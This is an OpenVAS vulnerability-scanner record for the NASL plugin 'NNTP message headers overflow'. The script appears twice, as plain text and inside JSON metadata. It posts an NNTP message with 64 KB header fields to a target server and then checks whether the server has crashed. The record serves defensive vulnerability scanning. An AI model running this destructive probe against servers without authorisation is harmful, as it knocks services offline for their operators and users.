ID OPENVAS:17228 Type openvas Reporter This script is Copyright (C) 2005 Michel Arboi Modified 2017-12-07T00:00:00
Description
OpenVAS was able to crash the remote NNTP server by sending
a message with long headers.
This flaw is probably a buffer overflow and might be exploitable
to run arbitrary code on this machine.
# OpenVAS Vulnerability Test
# $Id: nntp_too_long_headers.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: NNTP message headers overflow
#
# Authors:
# Michel Arboi <mikhail@nessus.org>
#
# Copyright:
# Copyright (C) 2005 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "OpenVAS was able to crash the remote NNTP server by sending
a message with long headers.
This flaw is probably a buffer overflow and might be exploitable
to run arbitrary code on this machine.";
tag_solution = "apply the latest patches from your vendor or
use a safer software.";
# Overflow on the user name is tested by cassandra_nntp_dos.nasl
#
# NNTP protocol is defined by RFC 977
# NNTP message format is defined by RFC 1036 (obsoletes 850); see also RFC 822.
if(description)
{
script_id(17228);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "NNTP message headers overflow";
script_name(name);
script_category(ACT_DESTRUCTIVE_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2005 Michel Arboi");
family = "Gain a shell remotely";
script_family(family);
script_dependencies("find_service_3digits.nasl", "nntp_info.nasl");
script_require_ports("Services/nntp", 119);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
include('global_settings.inc');
include('nntp_func.inc');
# This script might kill other servers if the message is propagated
if (safe_checks())
exit(0);
port = get_kb_item("Services/nntp");
if(!port) port = 119;
if(! get_port_state(port)) exit(0);
user = get_kb_item("nntp/login");
pass = get_kb_item("nntp/password");
ready = get_kb_item("nntp/"+port+"/ready");
if (! ready) exit(0);
noauth = get_kb_item("nntp/"+port+"/noauth");
posting = get_kb_item("nntp/"+port+"/posting");
if (! noauth && (! user || ! pass)) exit(0);
if (! posting) exit(0);
s = nntp_connect(port: port, username: user, password: pass);
if(! s) exit(0);
len = 65536;
msg = strcat('Newsgroups: ', crap(len), '\r\n',
'Subject: ', crap(len), '\r\n',
'From: OpenVAS <', crap(len), '@example.com>\r\n',
'Message-ID: <', crap(len), '@', crap(len), rand(), '.OPENVAS>\r\n',
'Lines: ', crap(data: '1234', length: len), '\r\n',
'Distribution: local\r\n', # To limit risks
'\r\n',
'Test message (post). Please ignore.\r\n',
'.\r\n');
nntp_post(socket: s, message: msg);
close(s);
sleep(1);
s = open_sock_tcp(port);
if(! s)
{
security_message(port);
exit(0);
}
else
close(s);
{"id": "OPENVAS:17228", "type": "openvas", "bulletinFamily": "scanner", "title": "NNTP message headers overflow", "description": "OpenVAS was able to crash the remote NNTP server by sending\na message with long headers. \nThis flaw is probably a buffer overflow and might be exploitable\nto run arbitrary code on this machine.", "published": "2005-11-03T00:00:00", "modified": "2017-12-07T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "http://plugins.openvas.org/nasl.php?oid=17228", "reporter": "This script is Copyright (C) 2005 Michel Arboi", "references": [], "cvelist": [], "lastseen": "2017-12-08T11:44:13", "viewCount": 0, "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2017-12-08T11:44:13", "rev": 2}, "dependencies": {"references": [], "modified": "2017-12-08T11:44:13", "rev": 2}, "vulnersScore": 0.4}, "pluginID": "17228", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: nntp_too_long_headers.nasl 8023 2017-12-07 08:36:26Z teissa $\n# Description: NNTP message headers overflow\n#\n# Authors:\n# Michel Arboi <mikhail@nessus.org>\n#\n# Copyright:\n# Copyright (C) 2005 Michel Arboi\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ntag_summary = \"OpenVAS was able to crash the remote NNTP server by sending\na message with long headers. \nThis flaw is probably a buffer overflow and might be exploitable\nto run arbitrary code on this machine.\";\n\ntag_solution = \"apply the latest patches from your vendor or\n\t use a safer software.\";\n\n# Overflow on the user name is tested by cassandra_nntp_dos.nasl\n# \n# NNTP protocol is defined by RFC 977\n# NNTP message format is defined by RFC 1036 (obsoletes 850); see also RFC 822.\n\nif(description)\n{\n script_id(17228);\n script_version(\"$Revision: 8023 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $\");\n script_tag(name:\"creation_date\", value:\"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n name = \"NNTP message headers overflow\";\n \n script_name(name);\n \n script_category(ACT_DESTRUCTIVE_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_copyright(\"This script is Copyright (C) 2005 Michel Arboi\");\n\n family = \"Gain a shell remotely\";\n script_family(family);\n script_dependencies(\"find_service_3digits.nasl\", \"nntp_info.nasl\");\n script_require_ports(\"Services/nntp\", 119);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\n#\ninclude('global_settings.inc');\ninclude('nntp_func.inc');\n\n# This script might kill other servers if the message is propagated\nif (safe_checks())\n exit(0);\n\nport = get_kb_item(\"Services/nntp\");\nif(!port) port = 119;\nif(! get_port_state(port)) exit(0);\n\nuser = get_kb_item(\"nntp/login\");\npass = get_kb_item(\"nntp/password\");\n\nready = get_kb_item(\"nntp/\"+port+\"/ready\");\nif (! ready) exit(0);\n\nnoauth = get_kb_item(\"nntp/\"+port+\"/noauth\");\nposting = get_kb_item(\"nntp/\"+port+\"/posting\");\n\nif (! noauth && (! user || ! pass)) exit(0);\nif (! posting) exit(0);\n\ns = nntp_connect(port: port, username: user, password: pass);\nif(! s) exit(0);\n\nlen = 65536;\n\nmsg = strcat('Newsgroups: ', crap(len), '\\r\\n',\n\t'Subject: ', crap(len), '\\r\\n',\n\t'From: OpenVAS <', crap(len), '@example.com>\\r\\n',\n\t'Message-ID: <', crap(len), '@', crap(len), rand(), '.OPENVAS>\\r\\n',\n\t'Lines: ', crap(data: '1234', length: len), '\\r\\n',\n\t'Distribution: local\\r\\n',\t# To limit risks\n\t'\\r\\n',\n\t'Test message (post). Please ignore.\\r\\n',\n\t'.\\r\\n');\n\nnntp_post(socket: s, message: msg);\nclose(s);\nsleep(1);\n\ns = open_sock_tcp(port);\nif(! s) \n{\n security_message(port);\n exit(0);\n}\nelse\n close(s);\n\n", "naslFamily": "Gain a shell remotely"}